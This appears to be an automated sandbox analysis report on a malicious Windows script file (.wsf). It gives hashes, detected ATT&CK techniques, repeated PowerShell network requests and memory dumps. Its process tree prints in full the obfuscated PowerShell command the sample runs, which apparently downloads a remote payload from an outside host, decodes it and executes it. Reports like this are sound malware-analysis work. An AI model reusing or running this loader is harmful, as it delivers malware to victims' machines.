554a5dbed0ecc5f4cceab8042d8d3d2d9587f43507e0150bb3df9f01b4de88d6

Analysis

max time kernel
297s
max time network
298s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
15-10-2024 12:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

554a5dbed0ecc5f4cceab8042d8d3d2d9587f43507e0150bb3df9f01b4de88d6.wsf
Size

8KB
MD5

abe356554178ad255021d0334f8950b5
SHA1

2ab70f593dde24a0bb0b6ad7258069b1735d3889
SHA256

554a5dbed0ecc5f4cceab8042d8d3d2d9587f43507e0150bb3df9f01b4de88d6
SHA512

8d7179a5adbdb097c7d029793b4c72115a0fcace5298e306d5ae6a46107dd3be2f689d385672b4452588a0f3823ac02a2caf2221499791eeff4e3b4280647de3
SSDEEP

192:FF6VUXhzSkGC0aiYrfOFpXyig0rmDMfIwagGgFFAV+:eIjDtOZZfVagbFFAV+

Score

8^/10

discovery

Malware Config

Signatures

Blocklisted process makes network request 64 IoCs

flow	pid	Process
6	2572	powershell.exe
7	2572	powershell.exe
8	2572	powershell.exe
9	2572	powershell.exe
10	2572	powershell.exe
11	2572	powershell.exe
12	2572	powershell.exe
13	2572	powershell.exe
14	2572	powershell.exe
15	2572	powershell.exe
16	2572	powershell.exe
17	2572	powershell.exe
18	2572	powershell.exe
19	2572	powershell.exe
20	2572	powershell.exe
21	2572	powershell.exe
22	2572	powershell.exe
23	2572	powershell.exe
24	2572	powershell.exe
25	2572	powershell.exe
26	2572	powershell.exe
27	2572	powershell.exe
28	2572	powershell.exe
29	2572	powershell.exe
30	2572	powershell.exe
31	2572	powershell.exe
32	2572	powershell.exe
33	2572	powershell.exe
34	2572	powershell.exe
35	2572	powershell.exe
36	2572	powershell.exe
37	2572	powershell.exe
38	2572	powershell.exe
39	2572	powershell.exe
40	2572	powershell.exe
41	2572	powershell.exe
42	2572	powershell.exe
43	2572	powershell.exe
44	2572	powershell.exe
45	2572	powershell.exe
46	2572	powershell.exe
47	2572	powershell.exe
48	2572	powershell.exe
49	2572	powershell.exe
50	2572	powershell.exe
51	2572	powershell.exe
52	2572	powershell.exe
53	2572	powershell.exe
54	2572	powershell.exe
55	2572	powershell.exe
56	2572	powershell.exe
57	2572	powershell.exe
58	2572	powershell.exe
59	2572	powershell.exe
60	2572	powershell.exe
61	2572	powershell.exe
62	2572	powershell.exe
63	2572	powershell.exe
64	2572	powershell.exe
65	2572	powershell.exe
66	2572	powershell.exe
67	2572	powershell.exe
68	2572	powershell.exe
69	2572	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2104	cmd.exe
1384	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
2572	powershell.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1384	PING.EXE

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2572	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2572	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1680 wrote to memory of 2104	1680	WScript.exe	30
PID 1680 wrote to memory of 2104	1680	WScript.exe	30
PID 1680 wrote to memory of 2104	1680	WScript.exe	30
PID 2104 wrote to memory of 1384	2104	cmd.exe	32
PID 2104 wrote to memory of 1384	2104	cmd.exe	32
PID 2104 wrote to memory of 1384	2104	cmd.exe	32
PID 1680 wrote to memory of 2572	1680	WScript.exe	33
PID 1680 wrote to memory of 2572	1680	WScript.exe	33
PID 1680 wrote to memory of 2572	1680	WScript.exe	33

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\554a5dbed0ecc5f4cceab8042d8d3d2d9587f43507e0150bb3df9f01b4de88d6.wsf"
1⤵
- Suspicious use of WriteProcessMemory
PID:1680
- C:\Windows\System32\cmd.exe
  cmd.exe /c ping aszzzw_6777.6777.6777.677e
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\system32\PING.EXE
    ping aszzzw_6777.6777.6777.677e
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:1384
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#kroplusenes Landsforeningens Biltelefonen Ichthyosis Glucuronic Foryngelseskur #>;$Toshes61='indsneget';<#Speronara Dokhavnens Dekatren Bakkebord Akers Aarhundredskiftes Storvildtets #>;$Scatterplot=$abbeds+$host.UI;If ($Scatterplot) {$Anstrengelsen120++;}function Expressionless($Tevarmerens){$Piperidge177=$tusindet+$Tevarmerens.'Length'-$Anstrengelsen120; for( $whosomever=4;$whosomever -lt $Piperidge177;$whosomever+=5){$unstretched++;$Afkrydsningssystemer+=$Tevarmerens[$whosomever];$Tarnished='Hershey';}$Afkrydsningssystemer;}function Labouring44($peelhouse){ &($Dermatolog) ($peelhouse);}$Markhild=Expressionless 'ParkMUnwio Ankz BetiColmlBasslSmaaaP le/Gejs ';$Markhild+=Expressionless 'Auto5 nex.Slow0 ard Umb(SlvaW,rupiFa anTr odWhiroKl nwStilsun e Ro tNud iT Unn Ante1Kryd0Er i.Sigr0Pycn;Ptoc ,laWMoyii upen Sup6S ri4Ep x;Fore QuixBac,6Hens4ver ; Kr U strDishv Toi:Flyv1Diaz3Ko e1ball.Isme0Bl e)b.hr SamsGMus.eColocRe,ekAandoOd u/Am.h2Digt0 ,ir1V ri0Clea0,rag1Hasp0Dest1Udby TapFHarpiUtrir Phee Forf SlyoLurkx rhv/P.ec1 Dev3Epik1 con.Mari0Feat ';$Dungon=Expressionless ' Smau serS BareAdelRSkud-EmisaBa lGcalcE Di NFor tdata ';$Irrelevances=Expressionless 'UnblhVerst TestamoepBeg :Demo/ Jo /uplecE inaC ror ekse spreImportra.fGudsi lanBuckdEmbleSnugr Pda. le rTrivo.ube/ RatIBilgmDan,pdemio sttAnonaS,ydn Pret ap.Krimp erosSubedA va ';$Rykkets=Expressionless 'Ove.>Quad ';$Dermatolog=Expressionless 'Salai MareC,nsxArmo ';$Dobbeltarbejdes='Ubestandigheder';$Tilgangsregulerings='\Etherism.ska';Labouring44 (Expressionless 'Dis $PlsegGy nlAfkbOStr bN ziaInhul Ud :SkottArg ISydsd ProSMrkbShypeK De,RafhaIMiljF F,stStrasSuffaFishRGhosTFu diRockKrelaeR teLPitheUnanN Re.=Like$Li geHid.nGescV Bul:PsalahalspHumoPTeksDA,imAUnp.tMonoA re+Boli$ D pt,oseiNonpLBrndGMilia Ov nSer,g lus,uldR NgleMi cGr.llUSmerlcorye Samr.ndsiAr eNOpslgA sySAggl ');Labouring44 (Expressionless 'Sive$TermgSunnlAlphoUnplBDi.eASpe L st:BrddGS loNIndiIT iasBaldtRigsselekPNonan.estdTranIMaksn SamgApt EArchr ErhS Bry=Ble $Me aiTai.runmirunsteurskLIn tE PerVFo fa KonnEfficRadiEFrpesNond.N taS L.spmisplSp giMorptInfi(Ked.$ Ozor UpbYThe,KT,sskGninePrakt Bi sReve)peri ');Labouring44 (Expressionless 'oplg[ CabnImp eHyp tLuis. ,pgs P,aELectrMi,rv TiliAfstcUdpoEForep eorO TheiRestNDepaT UniMSoleA.magnSpecaSumpG S.rE KlaRFaen]Tria:tole:SnekSStraeEnkecMot.U AlbRIntei Kb,TBolsY ,obpt nkR PeeO UntT Bl.o Da cPinkOPrimlOver Vir= Kir Sejl[BortnhairEDecatUdar.OverSSvinebeswc creUStreR StyiAfspTTripy Tynp olkRKal OTyngtIn eo Strc AntoTow.LAmmotTru yAfbap FakESkyl]Unde:Crip:PasttannoL pgas ele1Fren2Hldr ');$Irrelevances=$Gnistspndingers[0];$Udvidelsesprint=(Expressionless 'Revi$Speag ForLSeenoExcoB To aAcetLOrdb:Fo mutachN HemfDykkOIn uALeviMLegeiE donHemeG pr=Ko,tn DefEErotwGros-E isoB rebSnowJMetee,oinCSh rtLand CenSMiddYtrofSUnnyT UrtEResemHy r.Du mnNonaEForuTBasn.B vgw .reE.ayob enscPunclMagtiY leEKnalNKamptSnes ');Labouring44 ($Udvidelsesprint);Labouring44 (Expressionless 'Rent$ Sp USalanFedtfCouno Re aEkspm VatiVivenT,icgImpr.BesmH,ndkeSlaga EpidmajbeHaarrRun s Lan[Sate$Dep DN meu Wa nPhilgGateoSkl nNed ]S,jd=Staa$Be,iM Bloa petrTotakPerdh Supiequ lBeggdStep ');$Monistic=Expressionless 'Tric$ DodUD.denKempfPresoJuxtaRaccmDrejiBet nFostgHind. ElvDSunloMar wFletn verlIr noLit.a Spyd ndrFDerai lubl PreeT en(Wire$MetaIReturDimeromfoeBeaul AstebestvBidaaDrunnIntecP aseAllosR pu,Fren$ ro LHaggi Victlatii,ripg DelaDucht ComoVelgr Geay roq) ,ku ';$Litigatory=$Tidsskriftsartikelen;Labouring44 (Expressionless 'Sol $Y,mrggadelUopnoSammbTapiaBagglSe,p:Lundt.iogIBoruM KurE gelsk nRTrooeMo nRCodiSEfte1Anet9 Gyo2 Cer=Unsu(Caret h reI teSI let Sk -overpEtolAStevtEnk hFos Forr$LepiLKonniOrdkt SimIEngagF urA ProtRepro NegR LovyBiks) Sk ');while (!$Timelrers192) {Labouring44 (Expressionless 'Unin$Ddlkg.utrlForhoSonob leuaRo,glK nt:ScubIExoan .emgUdp eperirBeselBegriYentsListe.amb=Hyph$honntTa.br Sa,uSvbeeBe l ') ;Labouring44 $Monistic;Labouring44 (Expressionless 'BetaS.mbutArchATrocR test Te.-WafeS Ex lHypse dkneKap.PYoup K nt4Unmi ');Labouring44 (Expressionless 'U co$T,eogHy eLKalvOLigkBEmotasolal T t: ,tyTCas iUvulmFeriEHierLChefRFlnsEAstaRvicksCucu1P.og9Decl2 umn= sem( FortBlomeSgetSVedltOkke-ResupAppaaKrydTPaviHLesc U ul$ HjelKaroI K otTegniSvrdG SilaUnplTDyewo WraRBadeyGust) K.e ') ;Labouring44 (Expressionless 'Snek$A svGKvallbj,noPeribIganAungalTrit:StarhNo muMas mFundBAnlglSclei CranQu.eGPochlAppaYEfte=Disp$misogMuhalMarkoForsB FreAAfkrlBr d: ShaC Pa O EftEPrimRslisCsk liBranOPendN AfhSHoft+U,an+Elsk% yva$Li.cG SerN gesIMiscs AskTCoelSTa sPBlasnPennDIdioIbranNGeneGabalEteksr lodsFler.GrowcFiniOAlsaUcas.nUngrtInfi ') ;$Irrelevances=$Gnistspndingers[$Humblingly];}$Taxometer=310299;$Lderpungenes=30608;Labouring44 (Expressionless 'Yppi$LucrgapocLblegoHandb SluAL tvLTryk:HaulO abiS KlitScabEAirwnSol,sOutfi WasbTullL TuvYk,mp3H,xa4Allo er=Byld Obscg,ranEZygat ce-C udCbadeoBeskNOlogT TyveReneNV.ndtPe m sto$Tmr,l ScaiHol.TFathIsarcgVeriaFlueTFm,pOAfblRideoyRed. ');Labouring44 (Expressionless ' M,r$ ,asgbigulP.scoLysibCer aTylvljuri:UnboHSnooa ,kgd BeteE odfFlaguPhotlWea dFjlleScalsGoaltHbjre ,ors era6D co0Angi omph= Pa Moe [ ndiS bulySer,sIntetMandeVigtmtea .Non,C Kaso CivnEstovkns eGemer .ldtGuds]myri: slf: VebFAn lrfacko Hinm eodBSimpaCrissImpoe rre6 sk 4 eaS KortG mbrDiskiSubqn pthgFene(Dera$KlunOpsors KortFyrseprinnLab.sBrndi Apeb SollBrigydama3Enth4 l v)Fu l ');Labouring44 (Expressionless 'Fora$DagsgLandlKendoExudbFinga A tLSmoo:MajoHImpreNonel Spaf neqlAfreUSporGDirkTBr dEIn,arSli Meka=Cam, P.ss[ unfS OveyGrunSManqtSpatEOtahmChor.G let SpieburgxSundTVedl.T xiEFrecnK.licPh.eo ComdGli iT trn CerG Skv] uto:Kreb:LituaSiteSSt lCDr.kiSildIHval.Sti GSnkeeRuskTFor,SSteatMi,irMi.iIManynReviGJenl(Caro$Gem HA.claAf.ndblo eUltrFMis.uTemuLRecoDarbeeSpi SSeirt U seAmpusS an6Boli0Sel )Al,h ');Labouring44 (Expressionless 'Repr$turbgFrowLEpilOJosebre.yA AnlL.erp:A.lwPUptuIDeren Um Uno cLBnkeU ElasMask= ri$ Wh hD.apEIntel,iviFFl,vlDitcUD ddg S kTProeECup RB lr.philSSlgtUSkovbKritSNorttNoncrgurkI T lNDegeGRaad(Bevi$ KentMultaGe nXSinko Mormpa eeOratT KawEUnderOphi,Just$ GyrLCo,pd,notEJuleRSubiPDoxouSuspnGaigG ele rotn BygeHa,is,rkp)Vas ');Labouring44 $Pinulus;"
  2⤵
  - Blocklisted process makes network request
  - System Time Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2572

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/2572-4-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

Filesize
4KB

Download
memory/2572-5-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

Filesize
2.9MB

Download
memory/2572-6-0x0000000001E60000-0x0000000001E68000-memory.dmp

Filesize
32KB

Download
memory/2572-7-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2572-8-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2572-10-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2572-9-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2572-11-0x000007FEF5FD0000-0x000007FEF696D000-memory.dmp

Filesize
9.6MB

Download
memory/2572-12-0x000007FEF628E000-0x000007FEF628F000-memory.dmp

Filesize
4KB

Download